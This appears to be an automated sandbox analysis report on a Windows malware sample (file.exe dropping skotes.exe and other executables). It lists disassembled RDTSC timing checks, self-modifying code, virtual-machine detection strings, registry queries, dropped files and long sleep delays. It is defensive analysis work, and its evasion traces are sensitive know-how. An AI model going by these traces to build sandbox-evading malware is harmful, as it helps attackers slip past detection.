Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10D25B9 second address: 10D25BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10A2A96 second address: 10A2AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD724C6C5D6h 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10A2AA6 second address: 10A2AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510469 second address: 551046D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551046D second address: 5510473 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510473 second address: 55104EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD724C6C5E5h 0x00000009 sub ch, FFFFFFA6h 0x0000000c jmp 00007FD724C6C5E1h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FD724C6C5E0h 0x00000018 sub si, BB48h 0x0000001d jmp 00007FD724C6C5DBh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 xchg eax, ebp 0x00000027 pushad 0x00000028 mov ecx, 678ADBDBh 0x0000002d movzx ecx, di 0x00000030 popad 0x00000031 push eax 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 call 00007FD724C6C5E6h 0x0000003a pop esi 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55104EC second address: 551051E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, AAh 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FD7251DA7E9h 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD7251DA7DDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551051E second address: 5510557 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 mov ebx, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push FFFFFFFEh 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FD724C6C5E0h 0x00000014 jmp 00007FD724C6C5E5h 0x00000019 popfd 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510557 second address: 551055B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551055B second address: 55105B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push 351FD153h 0x0000000f jmp 00007FD724C6C5E1h 0x00000014 xor dword ptr [esp], 4250114Bh 0x0000001b pushad 0x0000001c jmp 00007FD724C6C5DCh 0x00000021 mov dl, ch 0x00000023 popad 0x00000024 call 00007FD724C6C5D9h 0x00000029 pushad 0x0000002a call 00007FD724C6C5E3h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55105B8 second address: 5510644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007FD7251DA7E5h 0x0000000b push esi 0x0000000c pop edx 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007FD7251DA7DDh 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a mov bl, 78h 0x0000001c mov edx, ecx 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FD7251DA7DBh 0x00000028 adc ecx, 1198A88Eh 0x0000002e jmp 00007FD7251DA7E9h 0x00000033 popfd 0x00000034 jmp 00007FD7251DA7E0h 0x00000039 popad 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FD7251DA7DDh 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510644 second address: 5510659 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510659 second address: 5510690 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b call 00007FD7251DA7DCh 0x00000010 mov cx, E061h 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FD7251DA7DDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510690 second address: 55106CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr fs:[00000000h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007FD724C6C5E8h 0x00000016 add eax, 320D7D58h 0x0000001c jmp 00007FD724C6C5DBh 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55106CB second address: 551073F instructions: 0x00000000 rdtsc 0x00000002 call 00007FD7251DA7E8h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD7251DA7DBh 0x0000000f popad 0x00000010 nop 0x00000011 jmp 00007FD7251DA7E6h 0x00000016 push eax 0x00000017 pushad 0x00000018 mov ebx, 462F67C4h 0x0000001d pushfd 0x0000001e jmp 00007FD7251DA7DDh 0x00000023 sub si, 4D06h 0x00000028 jmp 00007FD7251DA7E1h 0x0000002d popfd 0x0000002e popad 0x0000002f nop 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551073F second address: 5510752 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510752 second address: 5510758 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510758 second address: 551076F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 1Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD724C6C5DAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551076F second address: 55107BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FD7251DA7E7h 0x0000000b jmp 00007FD7251DA7E3h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FD7251DA7E5h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55107BB second address: 55107D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55107D7 second address: 55107DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55107DB second address: 55107E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55107E1 second address: 55107F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7251DA7E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55107F5 second address: 551082D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007FD724C6C5E7h 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD724C6C5E5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551082D second address: 5510853 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov si, E7A9h 0x0000000f popad 0x00000010 xchg eax, esi 0x00000011 pushad 0x00000012 movzx eax, dx 0x00000015 push eax 0x00000016 push edx 0x00000017 movsx edi, cx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510853 second address: 55108DB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD724C6C5E6h 0x00000008 and si, F6A8h 0x0000000d jmp 00007FD724C6C5DBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, edi 0x00000017 pushad 0x00000018 push eax 0x00000019 mov ebx, 2393E016h 0x0000001e pop edi 0x0000001f mov cx, 2C33h 0x00000023 popad 0x00000024 push eax 0x00000025 jmp 00007FD724C6C5E9h 0x0000002a xchg eax, edi 0x0000002b jmp 00007FD724C6C5DEh 0x00000030 mov eax, dword ptr [7751B370h] 0x00000035 pushad 0x00000036 pushad 0x00000037 pushad 0x00000038 popad 0x00000039 pushad 0x0000003a popad 0x0000003b popad 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FD724C6C5E6h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55108DB second address: 5510903 instructions: 0x00000000 rdtsc 0x00000002 mov si, 8E61h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c jmp 00007FD7251DA7DCh 0x00000011 xor eax, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD7251DA7DCh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510903 second address: 5510909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D8EE4D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F615D6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D8ED84 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F42C8D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FC37EE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F2EE4D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11015D6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F2ED84 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 10E2C8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11637EE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Special instruction interceptor: First address: 9F38D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Special instruction interceptor: First address: 9F399A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Special instruction interceptor: First address: B9B410 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Special instruction interceptor: First address: BC0A8A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Special instruction interceptor: First address: C29C1A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Special instruction interceptor: First address: F77C55 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Special instruction interceptor: First address: 1112BAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Special instruction interceptor: First address: 1137740 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Memory allocated: 13A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Memory allocated: 1AFA0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0557017F rdtsc

0_2_0557017F

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1213	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1229	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1216	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1208	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1232	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Window / User API: threadDelayed 413	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Window / User API: threadDelayed 404	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Window / User API: threadDelayed 2137	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Window / User API: threadDelayed 413	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Window / User API: threadDelayed 374	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6406
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5260
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1728
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6428
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1918
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4641
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5048

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016177001\d85d1975e9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016176001\f43f43fc7e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016178001\1d6483dfc2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[3].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	API coverage: 5.2 %
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	API coverage: 4.1 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3772	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3872	Thread sleep count: 1213 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3872	Thread sleep time: -2427213s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3576	Thread sleep count: 1229 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3576	Thread sleep time: -2459229s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4496	Thread sleep count: 290 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4496	Thread sleep time: -8700000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3528	Thread sleep count: 1216 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3528	Thread sleep time: -2433216s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3780	Thread sleep count: 1208 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3780	Thread sleep time: -2417208s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2660	Thread sleep count: 1232 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2660	Thread sleep time: -2465232s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2660	Thread sleep count: 320 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2660	Thread sleep time: -640320s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe TID: 4788	Thread sleep count: 413 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe TID: 4788	Thread sleep time: -826413s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe TID: 6164	Thread sleep count: 404 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe TID: 6164	Thread sleep time: -808404s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe TID: 6088	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe TID: 332	Thread sleep count: 264 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe TID: 332	Thread sleep time: -528264s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe TID: 4940	Thread sleep count: 2137 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe TID: 4940	Thread sleep time: -4276137s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe TID: 1988	Thread sleep count: 413 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe TID: 1988	Thread sleep time: -826413s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe TID: 5544	Thread sleep count: 374 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe TID: 5544	Thread sleep time: -748374s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5444	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4660	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3580	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4312	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe TID: 6192	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe TID: 4052	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7120	Thread sleep count: 6428 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6536	Thread sleep count: 1918 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5552	Thread sleep time: -19369081277395017s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7016	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe TID: 1884	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe TID: 5488	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2136	Thread sleep count: 4641 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3752	Thread sleep count: 5048 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 400	Thread sleep time: -19369081277395017s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C07978 FindFirstFileW,FindFirstFileW,free,	14_2_00C07978
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002CD871 FindFirstFileExW,	20_2_002CD871
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002CD922 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	20_2_002CD922
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002CD871 FindFirstFileExW,	40_2_002CD871
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002CD922 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	40_2_002CD922

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 14_2_00C0881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,

14_2_00C0881C

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 14_2_00C0B5E0 GetSystemInfo,

14_2_00C0B5E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior

Source: skotes.exe, skotes.exe, 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmp, 93121e2127.exe, 00000032.00000002.2448151612.00000000010F2000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: explorer.exe, 00000024.00000002.2298187569.0000000000E79000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpr
Source: 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
